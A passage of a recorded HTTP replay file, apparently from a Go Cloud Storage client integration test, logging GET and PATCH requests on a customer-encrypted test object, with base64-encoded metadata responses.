3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDUGpudWNyeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3VzdG9tZXItZW5jcnlwdGlvbi8xNTU2ODM1ODc1MDU4NjgwL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3VzdG9tZXItZW5jcnlwdGlvbiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODc1MDU4NjgwIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ1BqbnVjcngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2N1c3RvbWVyLWVuY3J5cHRpb24vMTU1NjgzNTg3NTA1ODY4MC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NTA1ODY4MCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDUGpudWNyeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3VzdG9tZXItZW5jcnlwdGlvbi8xNTU2ODM1ODc1MDU4NjgwL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3VzdG9tZXItZW5jcnlwdGlvbiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODc1MDU4NjgwIiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ1BqbnVjcngvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJldGFnIjoiQ1BqbnVjcngvZUVDRUFFPSIsImN1c3RvbWVyRW5jcnlwdGlvbiI6eyJlbmNyeXB0aW9uQWxnb3JpdGhtIjoiQUVTMjU2Iiwia2V5U2hhMjU2IjoiSCtMbW5YaFJvZUk2VE1XNWJzVjZIeVVrNnB5R2MySU1icVliQVhCY3BzMD0ifX0=" - } - }, - { - "ID": "0355971107342253", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Encryption-Key-Sha256": [ - "H+LmnXhRoeI6TMW5bsV6HyUk6pyGc2IMbqYbAXBcps0=" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3482" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:35 GMT" - ], - "Etag": [ - "CPjnucrx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UryZM2k28xNlFIDnXCH6SJ8RA2lDVNIx-5_eYRExB4-D1-dg_3fWvU3AREwoow4DvlYN4eyzA1AthWs5y0tYZEzvamBoZufkrXPmD64aT8kzAatns8" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLzE1NTY4MzU4NzUwNTg2ODAiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uIiwibmFtZSI6ImN1c3RvbWVyLWVuY3J5cHRpb24iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NTA1ODY4MCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozNS4wNThaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzUuMDU4WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjM1LjA1OFoiLCJzaXplIjoiMTEiLCJtZDVIYXNoIjoieHdXTkZhMFZkWFBtbEF3cmxjQUpjZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24/Z2VuZXJhdGlvbj0xNTU2ODM1ODc1MDU4NjgwJmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2N1c3RvbWVyLWVuY3J5cHRpb24vMTU1NjgzNTg3NTA1ODY4MC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjdXN0b21lci1lbmNyeXB0aW9uIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzUwNTg2ODAiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ1BqbnVjcngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2N1c3RvbWVyLWVuY3J5cHRpb24vMTU1NjgzNTg3NTA1ODY4MC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NTA1ODY4MCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNQam51Y3J4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLzE1NTY4MzU4NzUwNTg2ODAvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24vYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjdXN0b21lci1lbmNyeXB0aW9uIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzUwNTg2ODAiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ1BqbnVjcngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2N1c3RvbWVyLWVuY3J5cHRpb24vMTU1NjgzNTg3NTA1ODY4MC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImN1c3RvbWVyLWVuY3J5cHRpb24iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NTA1ODY4MCIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNQam51Y3J4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoicjBOR3JnPT0iLCJldGFnIjoiQ1BqbnVjcngvZUVDRUFFPSIsImN1c3RvbWVyRW5jcnlwdGlvbiI6eyJlbmNyeXB0aW9uQWxnb3JpdGhtIjoiQUVTMjU2Iiwia2V5U2hhMjU2IjoiSCtMbW5YaFJvZUk2VE1XNWJzVjZIeVVrNnB5R2MySU1icVliQVhCY3BzMD0ifX0=" - } - }, - { - "ID": "8f8c7cba5307c918", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "85" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjb250ZW50TGFuZ3VhZ2UiOiJlbiJ9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3448" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:36 GMT" - ], - "Etag": [ - "CPjnucrx/eECEAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Upnljw7UWMuKFeJUJp_gu-lyfzDRVTwgInddze_9zF5waX4glKKpcRrGpe50cvS8dV_xbbKLQa-CqAMVxlEp7qIHsmTdUR1amjrq0w9U_qrn4gYwSw" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLzE1NTY4MzU4NzUwNTg2ODAiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uIiwibmFtZSI6ImN1c3RvbWVyLWVuY3J5cHRpb24iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NTA1ODY4MCIsIm1ldGFnZW5lcmF0aW9uIjoiMiIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDozNS4wNThaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MzUuOTIwWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjM1LjA1OFoiLCJzaXplIjoiMTEiLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbj9nZW5lcmF0aW9uPTE1NTY4MzU4NzUwNTg2ODAmYWx0PW1lZGlhIiwiY29udGVudExhbmd1YWdlIjoiZW4iLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLzE1NTY4MzU4NzUwNTg2ODAvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vY3VzdG9tZXItZW5jcnlwdGlvbi9hY2wvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3VzdG9tZXItZW5jcnlwdGlvbiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODc1MDU4NjgwIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNQam51Y3J4L2VFQ0VBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLzE1NTY4MzU4NzUwNTg2ODAvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24vYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjdXN0b21lci1lbmNyeXB0aW9uIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzUwNTg2ODAiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDUGpudWNyeC9lRUNFQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY3VzdG9tZXItZW5jcnlwdGlvbi8xNTU2ODM1ODc1MDU4NjgwL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uL2FjbC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiY3VzdG9tZXItZW5jcnlwdGlvbiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODc1MDU4NjgwIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNQam51Y3J4L2VFQ0VBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLzE1NTY4MzU4NzUwNTg2ODAvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2N1c3RvbWVyLWVuY3J5cHRpb24vYWNsL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjdXN0b21lci1lbmNyeXB0aW9uIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NzUwNTg2ODAiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDUGpudWNyeC9lRUNFQUk9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImV0YWciOiJDUGpudWNyeC9lRUNFQUk9IiwiY3VzdG9tZXJFbmNyeXB0aW9uIjp7ImVuY3J5cHRpb25BbGdvcml0aG0iOiJBRVMyNTYiLCJrZXlTaGEyNTYiOiJIK0xtblhoUm9lSTZUTVc1YnNWNkh5VWs2cHlHYzJJTWJxWWJBWEJjcHMwPSJ9fQ==" - } - }, - { - "ID": "fc766ddbbfcd9d8a", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/customer-encryption?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "85" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ], - "X-Goog-Encryption-Algorithm": [ - "AES256" - ], - "X-Goog-Encryption-Key": [ - "CLEARED" - ], - "X-Goog-Encryption-Key-Sha256": [ - "H+LmnXhRoeI6TMW5bsV6HyUk6pyGc2IMbqYbAXBcps0=" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjb250ZW50TGFuZ3VhZ2UiOiJlbiJ9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3505" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:36 GMT" - ], - "Etag": [ - "CPjnucrx/eECEAM=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqlTuEeQHkdcuHKu_aWtuYjopXaORKyG9TF597i1ybzIPgJHE_oiKH-xYwG_D2txhF_Sv6Jzfy44Dfga1bINCpPLseDEeD_Ez4rvxx8baTX1uJ7lJo" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9jdXN0b21lci1lbmNyeXB0aW9uLzE1NTY4MzU4NzUwNTg2ODAiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jdXN0b21lci1lbmNyeXB0aW9uIiwibmFtZSI6ImN1c3RvbWVyLWVuY3J5cHRpb24iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg3NTA1ODY4MCIsIm1ldGFnZW5lcmF0aW9uIjoiMyIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbW